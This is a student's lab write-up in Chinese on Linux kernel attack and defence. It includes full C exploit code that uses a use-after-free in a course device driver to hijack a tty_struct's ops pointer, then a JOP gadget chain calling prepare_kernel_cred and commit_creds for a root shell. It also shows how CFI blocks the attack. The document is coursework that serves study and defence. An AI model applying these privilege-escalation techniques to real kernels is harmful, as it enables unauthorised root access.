Featured image of post JOP | Linux内核攻防

JOP | Linux内核攻防

JOP | Linux kernel attack and defence

Lab3 JOP | Linux内核漏洞攻防

Link: https://zjusec.gitee.io/syssec23-stu/lab3/

思考题1

Q1. 为什么在堆上分配相同大小内存的时候,两次分配的内存地址会一样

Linux内核在堆上分配内存时,通常会使用如下系统调用

  • malloc(分配小块内存时调用)
    • brk:将数据段(.data)的最高地址指针_edata往高地址推(从堆头开始,参数为地址)
    • sbrk:将地址指针往高地址推(从当前指针位置开始,参数为指针增量)
  • mmap(默认分配大于128k内存时调用)

由于频繁的分配释放内存容易产生碎片,并且会影响性能,因此Linux引入了基于内存池的内存管理方式,堆内存的分配和回收进行统一管理,对于每一块内存称之为chunk

被用户free掉的chunk,通过指针连接成链表,不同大小的内存连接成不同的链表,每一个链表称之为bin,当再次需要分配某一个大小的内存时,就在对应大小的chunk连接成的bin中分配即可,进而减少碎片,也可以提高内存分配效率

因此当我们在堆上分配相同大小内存时,被free的内存被接入bin中,再次分配相同大小的内存就会从bin上分配,进而极大增加了分配到的内存地址相同的概率;这也就解释了为什么在UAF利用中,两次分配的内存地址会一样

Task1:设备接口的使用 & 思考题2

  1. 根据UAF的原理,我们先两次打开/dev/zjudev设备,分配并释放大小为sizeof(tty_struct)的缓冲区,这样做是为了之后打开/dev/ptmx设备,分配tty_struct结构体时能够分配到与/dev/zjudev相同地址的缓冲区
  2. 之后我们打开/dev/ptmx设备,并判断是否分配到了与/dev/zjudev相同的缓冲区;判断的方法是,我们观察tty_struct结构体:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;	/* class device or NULL (e.g. ptys, serdev) */
	struct tty_driver *driver;
	const struct tty_operations *ops
// ...
}
/* tty magic number */
#define TTY_MAGIC		0x5401

在结构体的起始地址有一个magic变量,其值会被初始化成0x5401,而我们尽管不知道tty_struct结构体的地址,但是可以通过读取/dev/zjudev分配的缓冲区内容,判断最开始的四个字节是否为0x5401即可

  1. 具体实现上,可以使用一个死循环,不断打开/dev/ptmx设备,判断/dev/zjudev的缓冲区内容是否为0x5401,当结果为是,则跳出循环,返回ptmx的文件描述符
  2. 之后,我们就可以通过调用/dev/zjudev设备的write接口,修改缓冲区内容,进而修改tty_struct结构体的内容

Q2. 如何确定自己所控制的指针一定被分配给 tty_struct结构体

见之前的分析,通过tty_struct结构体开头的magic变量的值进行判断

附代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define TTY_STRUCT_SIZE 0x2B8
#define TTY_MAGIC 0x5401

size_t tty_op_buf[36];
char tty_buf[TTY_STRUCT_SIZE];

int init_dev() {
    int dev1 = open("/dev/zjudev", O_RDWR);
    int dev2 = open("/dev/zjudev", O_RDWR);
    ioctl(dev1, 0x0001, TTY_STRUCT_SIZE);
	close(dev1);
	return dev2;
}

int init_ptmx(int dev_fd) {
    int ptmx_fd;
    for (;;) {
        ptmx_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        memset(tty_buf, '\0', sizeof(tty_buf));
        read(dev_fd, tty_buf, TTY_STRUCT_SIZE - 1);
        for (size_t i = 0; i < TTY_STRUCT_SIZE; i += 8) {
            char v_str[9];
            memcpy(v_str, tty_buf + i, 8);
            v_str[8] = '\0';
            printf("tty_buf + %lu = 0x%lx\n", i, *(size_t*)v_str);
        }
        size_t magic = 0;
        memcpy(&magic, tty_buf, 4);
        if (magic == TTY_MAGIC) break; 
        printf("\n");
    }
    printf("TTY_MAGIC match! ptmx_fd = %d\n", ptmx_fd);
    return ptmx_fd;
}

int main(int argc, char* argv[]) {
    int dev_fd = init_dev();
	int ptmx_fd = init_ptmx(dev_fd);
    return 0;
}

Task2:简单获取root shell & 思考题3

  1. 观察tty_struct结构体,我们可以发现有一个const struct tty_operations* ops指针,其指向的是一组可以被调用的函数指针,当我们对/dev/ptmx设备进行操作时,调用的就是其中的函数;struct tty_operations的具体结构如下:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	// ...
}
  1. 由于我们之前使得tty_struct的地址和/dev/zjudev中分配的缓冲区起始地址相同,那么我们就可以通过覆写缓冲区进而修改ops指针的值,而我们完全可以将ops指向一块大小和tty_operations相同的区域,但里面的函数指针全都指向hack_cred函数的地址,那么我们就可以通过调用/dev/ptmx设备的方法,进而调用hack_cred函数,获取root权限
  2. 首先我们需要获得hack_cred的函数地址,由于没有开始ASLR,因此直接在System.map里面查表即可

image 1

  1. 可以看到tty_operations中共有36个函数指针,每个函数指针大小为8B,因此我们创建一个大小为36*8B的数组tty_op_buf,其中所有函数指针都指向hack_cred,之后获取ptr = &tty_op_buf,将ptr覆盖ops指针,进而调用hack_cred

Q3. 为什么不能直接通过 UAF 控制 cred 结构体直接修改其内容?有没有办法能够通过 UAF 来利用新版本的 cred 结构体呢?

在Linux kernel 4.5版本之前是可以的,但是在Linux kernel 4.5版本及之后就不可以了,可以比较kernel 4.5版本对cred_init函数的修改(参考了https://zhuanlan.zhihu.com/p/437464189)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
4.4.72
/*
 * initialise the credentials stuff
 */
void __init cred_init(void)
{
    /* allocate a slab in which we can store credentials */
    cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
                     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
4.5
/*
 * initialise the credentials stuff
 */
void __init cred_init(void)
{
    /* allocate a slab in which we can store credentials */
    cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
    	0,SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

可以注意到,在 slab 的创建 flag 中多了 一个 SLAB_ACCOUNT,意味着cred_jarkmalloc不再合并,也就是说cred分配的内存和kmalloc分配的内存来自两个不同的区域,因此无法使得通过kmalloc分配的内存和分配给cred的内存拥有相同的起始地址,也就无法通过UAF控制cred结构体

附代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define TTY_STRUCT_SIZE 0x2B8
#define TTY_MAGIC 0x5401

#define HACK_CRED_ADDR 0xffff80001083aa84

size_t tty_op_buf[36];
char tty_buf[TTY_STRUCT_SIZE];

void exp_task2(int dev_fd, int ptmx_fd) {
    printf("Jump into exp_task2!\n");
    // 创建tty_op_buf,将其中的函数指针都修改为HACK_CRED_ADDR
    for (size_t i = 0; i < 36; ++i)
        tty_op_buf[i] = HACK_CRED_ADDR;
    char my_buf[32];
    size_t ptr = (size_t)(&tty_op_buf);
    printf("ptr = %lx\n", ptr);
    memcpy(my_buf, tty_buf, 24);
    // 修改ops指针,指向tty_op_buf
    memcpy(my_buf + 24, &ptr, 8);
    for (size_t i = 0; i < 32; i += 8)
        printf("my_buf + %lu = 0x%lx\n", i, *(size_t*)(my_buf + i));
    // 覆写缓冲区
    write(dev_fd, my_buf, 32);
    // 检查缓冲区是否被修改
    printf("check ttyy_buf\n");
    read(dev_fd, tty_buf, TTY_STRUCT_SIZE - 1);
    for (size_t i = 0; i < 32; i += 8)
        printf("tty_buf + %lu = 0x%lx\n", i, *(size_t*)(tty_buf + i));
    // 调用close操作ptmx设备,真正调用的是hack_cred函数
    close(ptmx_fd);
    system("/bin/sh");
    return;
}

int main(int argc, char* argv[]) {
    int dev_fd = init_dev();
	int ptmx_fd = init_ptmx(dev_fd);
    exp_task2(dev_fd, ptmx_fd);
    return 0;
}

Task3:gadget获取root shell & 思考题4

  1. 在task3中我们无法直接调用hack_cred函数获取root权限,需要使用gadget,本质上就是通过gadget控制传参的寄存器,进而依次调用struct cred* root_cred = prepare_kernel_cred(NULL)commit_creds(root_cred)获取root权限

  2. 我们先观察一下这几个gadget分别做了什么

    • zju_gadget1: 将 [x0 + 0x38]地址的值赋值给x1,将x2的值赋值给x0,跳转到x1储存的地址处
    • zju_gadget2: 将x0置0,将[x2 + 0x28]地址的值赋值给x1,跳转到x1储存的地址处
    • zju_gadget3: 直接返回
    • 之后我们的思路就明确了,我们首先通过zju_gadget3获取ty_struct的地址,之后通过zju_gadget2调用prepare_kernel_cred方法,获取返回值,之后再调用commit_creds方法获取root权限
  3. 首先我们需要获取tyy_struct的地址

    1. 在之前的实验中,尽管我们可以修改tyy_struct结构的值,但是我们需要在之后将tty_struct的地址作为参数传入gadget,因此我们需要得到它的地址
    2. 在arm中,函数的第一个参数会保存在x0中,函数返回的值也会保存在x0中,而我们观察ioctl方法
    1
    2
    3
    4
    5
    6
    7
    
    // x0 = tty_struct_of_fd, x1 = p1, x2 = p2
    int ioctl(int fd, unsigned long int p1, void *p2) {
        ioctl_operation(tty_struct_of_fd, p1, p2);
    }
    // x0 = &tty, x1 = cmd, x2 = arg
    int  (*ioctl)(struct tty_struct *tty,
    		    unsigned int cmd, unsigned long arg);
    

    可以其会将参数按照顺序传入ioctl_operation,之后在ioctl函数指针中,第一个参数就是tty_struct的指针,因此x0就是tty_struct的起始地址

    1. 我们将ioctl方法覆写为zju_gadget3return得到的返回值(x0)就是tty_struct的起始地址;需要注意由于返回值为int类型,在赋值为64bit类型变量后,需要手动将最高16位赋值为0xffff
  4. 之后我们需要调用prepare_kernel_gadget函数

    1. 首先这个函数的参数需要是NULL,而NULL在C中就是0,因此我们可以想到利用zju_gadget2,同时x0正好作为prepare_kernel_gadget的第一个参数
    2. 如何调用prepare_kernel_gadget函数?可以发现zju_gadget2将[x2 + 0x28]地址的值赋值给x1,之后跳转到x1储存的地址处,那么我们就可以将prepare_kernel_gadget的地址放到[x2 + 0x28]
    3. x2是可以通过ioctl传入的参数,也就是p2,那么我们就可以直接传入tty_struct的起始地址,将[addr+0x28]处的地址覆写成prepare_kernel_gadget的地址即可
    4. 最后将返回值保存,之后需要传入commit_creds
  5. 之后就是调用commit_creds,和之前一样的思路,在zju_gadget1中,将 [x0 + 0x38]地址的值赋值给x1,将x2的值赋值给x0,跳转到x1储存的地址处;因此我们可以通过覆写 [x0 + 0x38]地址处的值为commit_creds的地址对其调用,同时将prepare_kernel_cred的返回值作为参数传入x2,在zju_gadget1中传入x0,进而调用函数

Q4. 为什么第二步可以直接ret获取到 tty_struct结构体的地址?ret 执行前后的控制流是什么样的?

根据之前的分析,当调用int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg)函数签名时,第一个参数就到 tty_struct结构体的地址,通过x0寄存器传参;而我们实际上调用的是zju_gadget3,此时传参是正常的,但是在函数体中直接return,没有修改x0寄存器的值;而arm架构中函数的返回值也储存在x0寄存器中,函数返回值也就是 tty_struct结构体的地址

控制流:my_function -> int ioctl(int fd, unsigned long int p1, void *p2) -> … tty_optarions.ioctl(struct tty_struct *tty, unsigned int cmd, unsigned long arg) -> zju_gadget3 -> … -> my_function

附代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#define TTY_STRUCT_SIZE 0x2B8
#define TTY_MAGIC 0x5401

#define ZJU_GADGET_ONE_ADDR 0xffff80001083aa44
#define ZJU_GADGET_TWO_ADDR 0xffff80001083aa5c
#define ZJU_GADGET_THREE_ADDR 0xffff80001083aa74
#define PREPARE_KERNEL_CRED_ADDR 0xffff8000100b6030
#define COMMIT_CREDS_ADDR 0xffff8000100b5bac

size_t tty_op_buf[36];
char tty_buf[TTY_STRUCT_SIZE];

int init_dev() {
    int dev1 = open("/dev/zjudev", O_RDWR);
    int dev2 = open("/dev/zjudev", O_RDWR);
    ioctl(dev1, 0x0001, TTY_STRUCT_SIZE);
	close(dev1);
	return dev2;
}

int init_ptmx(int dev_fd) {
    int ptmx_fd;
    for (;;) {
        ptmx_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        memset(tty_buf, '\0', sizeof(tty_buf));
        read(dev_fd, tty_buf, TTY_STRUCT_SIZE - 1);

        for (size_t i = 0; i < TTY_STRUCT_SIZE; i += 8) {
            char v_str[9];
            memcpy(v_str, tty_buf + i, 8);
            v_str[8] = '\0';
            printf("tty_buf + %lu = 0x%lx\n", i, *(size_t*)v_str);
        }
        size_t magic = 0;
        memcpy(&magic, tty_buf, 4);
        if (magic == TTY_MAGIC) break; 
        printf("\n");
    }
    printf("TTY_MAGIC match! ptmx_fd = %d\n", ptmx_fd);
    return ptmx_fd;
}

void exp_task3(int dev_fd, int ptmx_fd) {
    printf("Jump into exp_task3!\n");
    memset(tty_op_buf, '\0', sizeof(tty_op_buf));
    char my_buf[0x40];
    size_t ptr = (size_t)(&tty_op_buf);
    size_t prepare_kernel_cred_addr = PREPARE_KERNEL_CRED_ADDR;
    size_t commit_creds_addr = COMMIT_CREDS_ADDR;
    memcpy(my_buf, tty_buf, 0x40);
    memcpy(my_buf + 24, &ptr, 8);
    memcpy(my_buf + 0x28, &prepare_kernel_cred_addr, 8);
    memcpy(my_buf + 0x38, &commit_creds_addr, 8);
    write(dev_fd, my_buf, 0x40);
    tty_op_buf[12] = ZJU_GADGET_THREE_ADDR;
    size_t tty_addr = ioctl(ptmx_fd, 0x0, 0x0) | 0xffff000000000000;
    printf("tty_addr = 0x%lx\n", tty_addr);
    tty_op_buf[12] = ZJU_GADGET_TWO_ADDR;
    commit_creds_addr = ioctl(ptmx_fd, 0x0, my_buf) | 0xffff000000000000;
    printf("commit_creds_addr = 0x%lx\n", commit_creds_addr);
    tty_op_buf[12] = ZJU_GADGET_ONE_ADDR;
    ioctl(ptmx_fd, 0x0, commit_creds_addr);
    system("/bin/sh");
    return;
}

int main(int argc, char* argv[]) {
    int dev_fd = init_dev();
	int ptmx_fd = init_ptmx(dev_fd);
    exp_task3(dev_fd, ptmx_fd);
    return 0;
}

Task4:内核CFI保护

  • 使用objdump反汇编开启CFI的内核镜像 vmlinux,获得汇编代码,提交任意一个间接调用的汇编代码,并详细解释CFI是如何防御JOP攻击

我们分别在开始CFI和没开启CFI的vmlinux镜像中反汇编tty_driver_flush_buffer函数,关键代码如下

CFI:

image 2

NoCFI:

image 3

关注如下片段:

1
2
3
4
5
6
7
ffff800008bd9594:	b4000108 	cbz	x8, ffff800008bd95b4 <tty_driver_flush_buffer+0x38>
ffff800008bd9598:	d00061c9 	adrp	x9, ffff800009813000 <regulator_get_current_limit.cfi_jt>
ffff800008bd959c:	912d0129 	add	x9, x9, #0xb40
ffff800008bd95a0:	cb090109 	sub	x9, x8, x9
ffff800008bd95a4:	93c90d29 	ror	x9, x9, #3
ffff800008bd95a8:	f100a93f 	cmp	x9, #0x2a
ffff800008bd95ac:	540000c2 	b.cs	ffff800008bd95c4 <tty_driver_flush_buffer+0x48>  // b.hs, b.nlast

可以看到在开启了CFI之后,出现了regulator_get_current_limit.cfi_jt标签,如果x8和x9寄存器的值不满足要求,就会跳转到该标签对应的函数处,之后调用handle_cfi_failure处理CFI failure;总结来说,CFI通过对函数跳转地址的检查,进而防止JOP攻击

  • 重新运行JOP攻击程序,查看是否CFI是否能起作用。提交demsg中包含CFI Failure截图

重新运行JOP攻击程序,发现CFI生效,无法跳转到目标函数

image 4

image 5

之后调用dmesg,发现触发了cfi_failure

image 6

Written by Jiacheng Hu, at Zhejiang University, Hangzhou, China.

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy